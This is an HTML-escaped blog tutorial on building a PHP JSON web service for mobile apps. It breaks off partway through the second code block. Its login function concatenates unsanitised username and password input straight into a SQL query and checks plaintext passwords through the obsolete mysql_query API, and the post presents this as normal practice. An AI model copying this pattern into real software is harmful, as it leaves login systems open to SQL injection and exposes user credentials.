								         <description>&lt;h1 class=&quot;posttitle&quot; style=&quot;margin: 0px 0px 7px; padding: 0px; color: rgb(51, 51, 51); line-height: 36px; font-size: 36px; font-weight: normal;&quot;&gt;How to write a webservices using php with json format&lt;/h1&gt;
&lt;div class=&quot;clear&quot; style=&quot;font: 14px/24px Arial, Helvetica, sans-serif; margin: 0px; padding: 0px; color: rgb(51, 51, 51); text-transform: none; text-indent: 0px; letter-spacing: normal; clear: both; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Hi friends, In this post i would like to explain about how to write a web services using php with the json format. Now a days mobile applications are more popular. Most of mobile applications are implementing for existing websites. To isplay information from database to mobile one mediator is require. So that mediator implementing using php and the output as JSON format to easy to retrieve.&lt;/div&gt;
&lt;div class=&quot;entry&quot; style=&quot;font: 14px/1.4em Arial, Helvetica, sans-serif; margin: 0px; padding: 15px 0px 10px; color: rgb(51, 51, 51); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; border-top-color: rgb(230, 230, 230); border-top-width: 1px; border-top-style: solid; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;
&lt;p style=&quot;margin: 0px; padding: 0px 0px 10px;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0px; padding: 0px 0px 10px;&quot;&gt;Web service for login method.&lt;/p&gt;
&lt;h4 style=&quot;margin: 0px; padding: 0px 0px 7px; font-size: 14px; font-weight: bold;&quot;&gt;Login Method Code&lt;/h4&gt;
&lt;div class=&quot;codecolorer-container php default&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px 0px 10px; padding: 0px; border: 1px solid rgb(159, 159, 159); width: 590px; text-align: left; color: rgb(0, 0, 0); white-space: nowrap; overflow-x: auto; overflow-y: auto; font-size-adjust: none; font-stretch: normal; background-color: rgb(241, 241, 241); border-image: initial;&quot;&gt;
&lt;table style=&quot;border-width: 0px; font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; border-collapse: collapse; font-size-adjust: none; font-stretch: normal; border-image: initial; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
    &lt;tbody style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot;&gt;
        &lt;tr style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; vertical-align: top; font-size-adjust: none; font-stretch: normal;&quot;&gt;
            &lt;td class=&quot;line-numbers&quot; style=&quot;border-width: 0px 1px 0px 0px; font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 5px; text-align: right; color: rgb(136, 136, 136); border-right-color: rgb(159, 159, 159); border-right-style: solid; font-size-adjust: none; font-stretch: normal; background-color: rgb(238, 238, 238); border-image: initial;&quot;&gt;
            &lt;div style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 0px; width: 23px; font-size-adjust: none; font-stretch: normal;&quot;&gt;1&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            2&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            3&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            4&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            5&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            6&lt;/div&gt;
            &lt;/td&gt;
            &lt;td style=&quot;border-width: 0px; font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 0px; font-size-adjust: none; font-stretch: normal; border-image: initial;&quot;&gt;
            &lt;div class=&quot;php codecolorer&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 5px; text-align: left; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal; background-color: rgb(241, 241, 241);&quot;&gt;&amp;nbsp;&lt;span class=&quot;kw2&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;login&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;{&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;quot;select * from users where username='&amp;quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;quot;' AND password='&amp;quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;quot;'&amp;quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 128); font-size-adjust: none; font-stretch: normal;&quot;&gt;mysql_query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$num_rows&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 128); font-size-adjust: none; font-stretch: normal;&quot;&gt;mysql_num_rows&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;kw1&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(160, 128, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;$num_rows&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h4 style=&quot;margin: 0px; padding: 0px 0px 7px; font-size: 14px; font-weight: bold;&quot;&gt;In the web service page.&lt;/h4&gt;
&lt;div class=&quot;codecolorer-container php default&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px 0px 10px; padding: 0px; border: 1px solid rgb(159, 159, 159); width: 590px; text-align: left; color: rgb(0, 0, 0); white-space: nowrap; overflow-x: auto; overflow-y: auto; font-size-adjust: none; font-stretch: normal; background-color: rgb(241, 241, 241); border-image: initial;&quot;&gt;
&lt;table style=&quot;border-width: 0px; font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; border-collapse: collapse; font-size-adjust: none; font-stretch: normal; border-image: initial; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
    &lt;tbody style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot;&gt;
        &lt;tr style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; vertical-align: top; font-size-adjust: none; font-stretch: normal;&quot;&gt;
            &lt;td class=&quot;line-numbers&quot; style=&quot;border-width: 0px 1px 0px 0px; font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 5px; text-align: right; color: rgb(136, 136, 136); border-right-color: rgb(159, 159, 159); border-right-style: solid; font-size-adjust: none; font-stretch: normal; background-color: rgb(238, 238, 238); border-image: initial;&quot;&gt;
            &lt;div style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 0px; width: 23px; font-size-adjust: none; font-stretch: normal;&quot;&gt;1&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            2&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            3&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            4&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            5&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            6&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            7&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            8&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            9&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            10&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            11&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            12&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            13&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            14&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            15&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            16&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            17&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            18&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            19&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            20&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            21&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            22&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            23&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            24&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            25&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            26&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            27&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            28&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            29&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            30&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            31&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            32&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            33&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            34&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            35&lt;/div&gt;
            &lt;/td&gt;
            &lt;td style=&quot;border-width: 0px; font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 0px; font-size-adjust: none; font-stretch: normal; border-image: initial;&quot;&gt;
            &lt;div class=&quot;php codecolorer&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; margin: 0px; padding: 5px; text-align: left; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal; background-color: rgb(241, 241, 241);&quot;&gt;&amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(32, 96, 160); font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;coMULTI&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;/**********************************************************************&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;* Author &amp;nbsp; &amp;nbsp; &amp;nbsp; :&amp;nbsp;&amp;nbsp; Nilesh Pawar&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;* E-mail &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; :&amp;nbsp;&amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a class=&quot;smarterwiki-linkify&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(1, 147, 204); text-decoration: none; font-size-adjust: none; font-stretch: normal;&quot; href=&quot;mailto:kumaranil21@gmail.com&quot;&gt;&lt;font color=&quot;#0193cc&quot;&gt;pawarnilesh4u@gmail.com&lt;/font&gt;&lt;/a&gt;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;* Created on &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp; 14th June 2011&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;* Version&amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp; 1.0&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;* Project&amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp; Wevservices&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;* Page &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp; Login Webservices&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Modified on &amp;nbsp; &amp;nbsp; &amp;nbsp;: &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &amp;nbsp; &amp;nbsp; &amp;nbsp;* Modified by &amp;nbsp; &amp;nbsp; &amp;nbsp;: &amp;nbsp;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            *************************************************************************/&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;co1&quot; style=&quot;font: italic 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(64, 96, 64); font-size-adjust: none; font-stretch: normal;&quot;&gt;// Includes the class which have the all functions&lt;/span&gt;&lt;br style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; font-size-adjust: none; font-stretch: normal;&quot; /&gt;
            &lt;span class=&quot;kw3&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 128, 128); font-size-adjust: none; font-stretch: normal;&quot;&gt;ini_set&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st_h&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(192, 48, 48); font-size-adjust: none; font-stretch: normal;&quot;&gt;'display_errors'&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;font: 13px/1.4em Monaco, &amp;quot;Lucida Console&amp;quot;, monospace; color: rgb(0, 0, 0); font-size-adjust: none; font-stretch: normal;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;st_h&quot; 